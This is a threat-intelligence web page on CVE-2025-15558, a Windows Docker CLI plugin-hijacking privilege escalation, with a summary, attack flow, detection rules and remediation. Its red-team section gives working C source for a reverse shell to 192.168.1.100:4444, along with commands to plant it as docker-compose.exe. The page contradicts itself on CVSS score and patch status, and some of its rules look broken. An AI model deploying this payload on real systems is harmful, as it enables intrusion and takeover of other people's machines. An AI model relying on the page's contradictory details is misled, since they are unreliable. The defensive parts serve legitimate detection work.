☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Docker logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7 🐛 CWE-427
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15558

CVE-2025-15558 Privilege Escalation in Docker
📅 PUBLISHED: 2026-03-04 16:14 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15558 is a privilege escalation vulnerability affecting the Docker CLI on Windows. The core issue lies in the insecure default search path for CLI plugin binaries. The Docker CLI for Windows searches for plugins in C:\ProgramData\Docker\cli-plugins, a directory that does not exist by default and is writable by low-privileged users. An attacker can pre-create this directory and place a malicious binary (e.g., docker-compose.exe, docker-buildx.exe). When a victim (or a privileged user) runs Docker CLI commands that trigger plugin loading, the malicious binary executes with the victim's privileges, potentially leading to full system compromise if the victim is an administrator.

This vulnerability is Windows-specific and does not affect Linux or macOS. It impacts Docker CLI versions up to 29.1.5 and any Windows binary using the github.com/docker/cli/cli-plugins/manager package (e.g., Docker Compose). No official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is a supply chain risk because it exploits the trust in the Docker CLI's plugin loading mechanism. An attacker does not need to compromise the Docker package itself; they only need to place a malicious file in a predictable, writable location. This is a classic example of a binary planting or DLL hijacking attack vector, but applied to Go-based plugin binaries.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High)

  • Attack Vector (AV): Local (L) – The attacker must have local access to the Windows machine.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the directory is writable by default.
  • Privileges Required (PR): Low (L) – The attacker needs only low-privileged user access.
  • User Interaction (UI): Required (R) – The victim must run a Docker CLI command that triggers plugin loading.
  • Scope (S): Changed (C) – The attacker can escalate privileges beyond their own.
  • Confidentiality (C): High (H) – Full file system access possible.
  • Integrity (I): High (H) – Malicious code can modify system files.
  • Availability (A): High (H) – Can lead to denial of service or ransomware.

Threat Level: High. The attack is trivial to execute, requires no special tools, and can lead to full system compromise.

Deep Dive & Mechanics

The Docker CLI for Windows uses a plugin manager to extend functionality (e.g., docker compose, docker buildx). The plugin manager searches for binaries in a predefined list of directories. One of these directories is C:\ProgramData\Docker\cli-plugins. This directory does not exist by default, and the ProgramData folder is typically writable by all authenticated users.

Attack Flow:

  1. Reconnaissance: The attacker identifies a target Windows machine where Docker CLI is installed.
  2. Preparation: The attacker creates the directory C:\ProgramData\Docker\cli-plugins (if it doesn't exist) and places a malicious binary named docker-compose.exe (or any other plugin name).
  3. Trigger: The victim runs a Docker command that invokes a plugin, e.g., docker compose up.
  4. Execution: The Docker CLI searches for docker-compose.exe in the plugin directories. It finds the malicious binary in C:\ProgramData\Docker\cli-plugins and executes it.
  5. Escalation: If the victim is running with elevated privileges (e.g., as Administrator), the malicious binary inherits those privileges, allowing the attacker to perform privileged actions.

Why it works:

  • The directory C:\ProgramData\Docker\cli-plugins is not created during installation, so it is not protected by ACLs.
  • The Docker CLI does not verify the integrity or origin of plugin binaries.
  • The search order places this directory before other, more secure locations.

Vulnerable vs. Patched Code

Vulnerable Code (Docker CLI <= 29.1.5): The plugin manager in github.com/docker/cli/cli-plugins/manager uses a hardcoded list of directories. The Windows-specific code includes C:\ProgramData\Docker\cli-plugins without checking if it exists or if it is writable by untrusted users.

// vulnerable code snippet (conceptual)
func getPluginDirs() []string {
    return []string{
        filepath.Join(os.Getenv("USERPROFILE"), ".docker", "cli-plugins"),
        "C:\\ProgramData\\Docker\\cli-plugins", // <-- insecure
        // ... other directories
    }
}

Patched Code (Hypothetical): A patch would either:

  • Remove the C:\ProgramData\Docker\cli-plugins directory from the search path.
  • Create the directory during installation with proper ACLs (only allowing Administrators to write).
  • Verify the digital signature of plugin binaries before execution.
// patched code (conceptual)
func getPluginDirs() []string {
    dirs := []string{
        filepath.Join(os.Getenv("USERPROFILE"), ".docker", "cli-plugins"),
    }
    // Only add if it exists and is not writable by non-admins
    programDataDir := "C:\\ProgramData\\Docker\\cli-plugins"
    if info, err := os.Stat(programDataDir); err == nil {
        // Check ACLs here (pseudo-code)
        if isAdminOnly(programDataDir) {
            dirs = append(dirs, programDataDir)
        }
    }
    return dirs
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Windows 10/11 or Windows Server 2016+
  • Docker CLI installed (any version up to 29.1.5)
  • Low-privileged user account

Steps:

  1. Create the malicious plugin directory:

    New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -Force
    
  2. Create a malicious plugin binary. For example, a reverse shell:

    // malicious.c - compile with: x86_64-w64-mingw32-gcc -o docker-compose.exe malicious.c
    #include <winsock2.h>
    #include <windows.h>
    #pragma comment(lib, "ws2_32.lib")
    int main() {
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2,2), &wsaData);
        SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(4444);
        addr.sin_addr.s_addr = inet_addr("192.168.1.100");
        connect(sock, (SOCKADDR*)&addr, sizeof(addr));
        STARTUPINFO si = {0};
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, NULL);
        return 0;
    }
    
  3. Place the malicious binary:

    Copy-Item .\docker-compose.exe "C:\ProgramData\Docker\cli-plugins\docker-compose.exe"
    
  4. Wait for a victim to run:

    docker compose up
    
  5. Receive reverse shell on your listener (e.g., nc -lvnp 4444).

Blue Team (Detection & Defense)

Detection:

  • Monitor for creation of C:\ProgramData\Docker\cli-plugins directory.
  • Monitor for execution of binaries from C:\ProgramData\Docker\cli-plugins.
  • Use Sysmon Event ID 1 (Process Creation) to detect docker-compose.exe or docker-buildx.exe launched from unexpected paths.

Defense:

  • Preventive: Create the directory manually with proper ACLs:
    New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -Force
    icacls "C:\ProgramData\Docker\cli-plugins" /inheritance:r /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "SYSTEM:(OI)(CI)F"
    
  • Detective: Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted binaries from running in writable directories.
  • Reactive: If compromise is suspected, check for unauthorized binaries in C:\ProgramData\Docker\cli-plugins and remove them.

Indicators of Compromise (IOCs)

Type Indicator Description
File Path C:\ProgramData\Docker\cli-plugins\*.exe Any executable in this directory (should not exist normally)
Process docker-compose.exe or docker-buildx.exe launched from C:\ProgramData\Docker\cli-plugins Legitimate plugins are usually in user profile or system32
Registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Persistence via malicious plugin
Network Outbound connection from docker-compose.exe to unknown IP Reverse shell or C2 beacon
Event Log Sysmon Event ID 11 (FileCreate) for C:\ProgramData\Docker\cli-plugins\*.exe Directory creation or file drop

Detection Engineering

YARA Rule

rule CVE_2025_15558_Docker_CLI_Plugin_Hijack {
    meta:
        description = "Detects malicious Docker CLI plugin binaries in C:\\ProgramData\\Docker\\cli-plugins"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "C:\\ProgramData\\Docker\\cli-plugins" nocase
        $s2 = "docker-compose.exe" nocase
        $s3 = "docker-buildx.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        (($s1) or ($s2 or $s3))
}

Sigma Rule

title: Docker CLI Plugin Hijacking via C:\ProgramData
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or execution of Docker CLI plugins from the insecure C:\ProgramData\Docker\cli-plugins directory
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\docker-compose.exe'
            - '\docker-buildx.exe'
        Image|startswith: 'C:\ProgramData\Docker\cli-plugins\'
    condition: selection
falsepositives:
    - Legitimate admin-created plugins (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15558 Docker CLI Plugin Outbound Connection"; flow:to_server,established; content:"|0d 0a|"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Create and secure the directory manually:

    New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -Force
    icacls "C:\ProgramData\Docker\cli-plugins" /inheritance:r /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "SYSTEM:(OI)(CI)F"
    
  2. Monitor for unauthorized plugin binaries using the provided YARA/Sigma rules.

  3. Restrict user permissions to prevent low-privileged users from writing to C:\ProgramData.

Long-Term Fix:

  • Docker Inc. should release a patch that either removes the insecure directory from the search path or creates it with proper ACLs during installation.
  • Until a patch is available, consider using Docker Desktop's built-in plugin management or running Docker CLI in a container.

Workaround:

  • Set the environment variable DOCKER_CLI_PLUGINS_PATH to a secure, user-specific directory (e.g., %USERPROFILE%\.docker\cli-plugins).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-15558

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15558/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.